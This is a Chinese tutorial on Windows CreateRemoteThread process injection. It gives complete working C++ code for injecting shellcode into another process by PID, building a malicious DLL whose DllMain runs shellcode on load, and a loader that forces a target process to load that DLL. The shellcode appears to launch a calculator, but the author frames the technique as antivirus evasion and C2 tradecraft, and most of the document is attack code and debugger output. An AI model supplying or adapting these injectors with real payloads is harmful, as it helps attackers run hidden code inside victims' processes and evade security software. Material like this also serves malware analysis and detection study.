# 2-创建远程线程注入（CreateRemoteThread Injection）

## 一、前言

`创建远程线程注入` 又是另一个经典且使用最多的一种shellcode和dll注入方式

`创建远程线程注入` 是指一个进程在另一个进程中创建线程的技术，通常用于注入dll或shellcode，两者执行方式会有一些简单的差异但是原理相同，这是一种简单且稳定的经典注入方式，被很多病毒木马所青睐，此外也存在更新式的注入方式。

## 二、流程

1. 使用 `OpenProcess` 打开进程。官方文档：[OpenProcess 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)
2. 使用 `VirtualAllocEx` 在远程进程中申请空间。官方文档：[VirtualAllocEx 函数 （memoryapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
3. 使用 `WriteProcessMemory` 将数据写入到指定进程中的内存区域。 要写入的整个区域必须可访问，否则操作将失败。官方文档：[WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
4. 使用 `CreateRemoteThread` 创建在另一个进程的虚拟地址空间中运行的线程。官方文档：[CreateRemoteThread 函数 （processthreadsapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)
5. 使用 `WaitForSingleObject` 等待远程线程结束。官方文档：[WaitForSingleObject 函数 （synchapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)
6. 使用 `VirtualFreeEx` 释放空间。官方文档： [VirtualFreeEx 函数 (memoryapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualfreeex)

偷来的图，将就看一下吧😀

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/14-04-13-d3d3848b732f3088d5210aa851003ebf-20250106140413-153255.png)

## 三、代码实现

### 3.1 注入shellcode

#### （一）完整代码

```go
#include <windows.h>
#include <iostream>

int main()
{
	// shellcode
	unsigned char shellcode[] = {
			0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
	};

	// 用户输入被注入进程的PID
	DWORD PID;
	std::cout << "请输入被注入进程的PID：";
	std::cin >> PID;

	// 打开注入进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);

	// 在远程进程中申请空间
	LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将数据写入到指定进程中的内存区域
	WriteProcessMemory(hProcess, lpAddress, shellcode, sizeof(shellcode), NULL);

	// 创建在另一个进程的虚拟地址空间中运行的线程
	HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);

	// 等待远程线程结束
	WaitForSingleObject(hThread, INFINITE);

	// 释放空间和关闭句柄，是一个良好的编程习惯
	VirtualFreeEx(hProcess, lpAddress, NULL, MEM_RELEASE);
	CloseHandle(hProcess);
	CloseHandle(hThread);

	return 0;
}
```

输入被注入进程的PID，比如下图的notepad.exe的PID是27840

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/16-46-34-fa7cda0c779bc0b648a10d598a227500-20250106164634-b0dbc7.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/16-47-26-4e671897b5a37bb0e4f707b7de97736e-20250106164726-8965e7.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/16-47-39-2cf06078151b0000ff74bde0eaf55250-20250106164738-94f4c9.png)

#### （二）调式

虽然VS可以查看内存情况，但是只能查看本进程，即正在调式运行的进程的内存布局，想要看其他进程的内存空间就需要借助其他工具。反是涉及到注入到远程进程的，我都建议使用x32/64dbg和VS联动，这样能看到目标进程的的内存情况，有助于帮助我们判断是否注入成功。

1. x64dbg附加进程

可以通过菜单"文件"->"附加"（或者按下快捷键Alt+A）会弹出如下图所示的附加对话框，读者只需要选中一个正在运行的程序即可附加到特定进程内

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/24/12-58-39-ed77b4e94f8cba1c4f5511daa9227f06-20250124125838-54cf4e.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/24/12-59-19-9bcda842605fb6545811f35aae031da1-20250124125919-a0064a.png)

2. VS调式运行

在 `VirtualAllocEx` 这里下一个断点，然后运行即可

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/24/13-00-42-3256266818a6a5b1b39f34d054dec424-20250124130042-13a225.png)

3. 复制想要查看的地址值

在本例中是 `lpAddress 的值是0x0000021483150000`（每次运行都不一样）

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/24/13-03-45-6fb9a898535fa1bc3af95eeb5cd5cf3f-20250124130344-564413.png)

4. 在x64dbg中查看相应地址的内存情况

快捷键：ctrl+G，输入目标地址值，即可查看相应地址的内存情况

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/24/13-06-55-6b9760bc8471148b44ca348db12d7cfa-20250124130654-0d16f0.png)

演示

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/24/13-30-07-36ba6ed3e808fe00910f2eff61a0bb07-PixPin_2025-01-24_13-29-29-9d7c78.gif)

### 3.2 注入DLL

#### （一）完整代码

DLL（Dynamic Link Library）是动态链接库，其中包含可由另一个模块 (应用程序或 DLL) 使用的函数和数据，在免杀和C2中是很常用的一种PE文件。在实际的免杀中，单exe免杀的效果往往很差，更多是配合 `白加黑` 等手段达到一个很好免杀效果。更多DLL的玩法，我会在后面详细介绍，这里我只是简单的提一下恶意DLL的制作。

1. 添加一个DLL项目

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/18-19-23-db2686c115796d9eb35dece12dde6325-20250106181922-c6935e.png)

项目结构如下，我们只需修改dllmain.cpp即可

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/18-33-32-2f0459721084a30667c06080535b1327-20250106183331-2f8f64.png)

解释一下代码，**DllMain**，这是 DLL 的入口点，暂时用不到dll编写导出函数，我们只需要DllMain函数就可以了。当 `ur_reason_for_call` 满足下列几种情况时会执行相应的代码（需要自己添加）

* `DLL_PROCESS_ATTACH`
* `DLL_THREAD_ATTACH`
* `DLL_THREAD_DETACH`
* `DLL_PROCESS_DETACH`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/18-34-40-f9891bebf9b5c771afcaa072becdba3e-20250106183440-5a5d06.png)

2. 构造恶意的黑DLL，并在其中运行shellcode。

```go
#include <Windows.h>
#include <winuser.h>


void HelloWorld() { 
    unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, buf, sizeof(buf));

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
}


BOOL APIENTRY DllMain(HMODULE /* hModule */, DWORD ul_reason_for_call, LPVOID /* lpReserved */)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:HelloWorld();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

```

点击生成，得到恶意dll

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/20-55-24-eebe137937533982669b41d9dc28382f-20250106205524-e913aa.png)

⚠**注意**：

* 在DLL中执行shellcode是不能用 `WaitForSingleObject`，因为可以能导致DLL死锁风险，虽然有解决方法，但是还是不推荐使用。
* 32位程序只能注入32位程序，64位程序只能注入64位程序。跨位数注入好像msf里有提及，感兴趣的可以去找一下源码。

3. 加载器代码

```go
#include <windows.h>
#include <iostream>

int main()
{

	// 恶意DLL路径
	std::string path;

	// 用户输入被注入进程的PID
	DWORD PID;
	std::cout << "请输入被注入进程的PID：";
	std::cin >> PID;
	std::cout << std::endl;

	std::cout << "请输入恶意DLL路径：";
	std::cin >> path;

	// 打开注入进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);

	// 在远程进程中申请空间
	LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将DLL的地址写入指定内存区域
	WriteProcessMemory(hProcess, lpAddress, (LPCVOID)path.data(), path.size(), NULL);

	// 获取LoadLibraryA在kernel32.dll的虚拟地址
	LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

	// 创建在另一个进程的虚拟地址空间中运行的线程。
	// LoadLibraryA是线程执行的函数地址
	// lpAddress是传递给线程函数的参数（DLL路径）
	// 当线程执行pLoadlibrary函数，加载了了我们的恶意dLL，就符合DLL_PROCESS_ATTACH情形，会触发我们的HelloWorld函数
	HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, pLoadlibrary, lpAddress, 0, 0);

	// 等待远程线程结束
	WaitForSingleObject(hThread, INFINITE);

	// 释放空间和关闭句柄，是一个良好的编程习惯
	VirtualFreeEx(hProcess, lpAddress, NULL, MEM_RELEASE);
	CloseHandle(hProcess);
	CloseHandle(hThread);

	return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/06/21-23-45-ba4d1f57402eabc00ef6eefde35cbe2a-20250106212345-67ed8b.png)

⚠**注意**：

1. 在 Windows 操作系统中，进程的虚拟地址空间是相互隔离的，这意味着每个进程都有自己的虚拟地址空间，不能直接访问其他进程的内存。
2. 为什么远程进程能使用LoadLibraryA的地址呢？因为`kernel32`、`ntdll.dll` 等DLL是一个共享的系统库，所有进程都可以访问，所有Windows 进程在加载该库时会使用相同的VA。这一点请理清楚，后面会很多知识点都会涉及这一个内容。

#### （二）调式

与注入shellcode同理，我们要用x32/64dbg来验证我们的DLL路径是否写入到了目标进程的内存中

演示

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/24/13-43-28-71c30bd3d018abbf51901680c4fc42d0-PixPin_2025-01-24_13-42-43-60960a.gif)
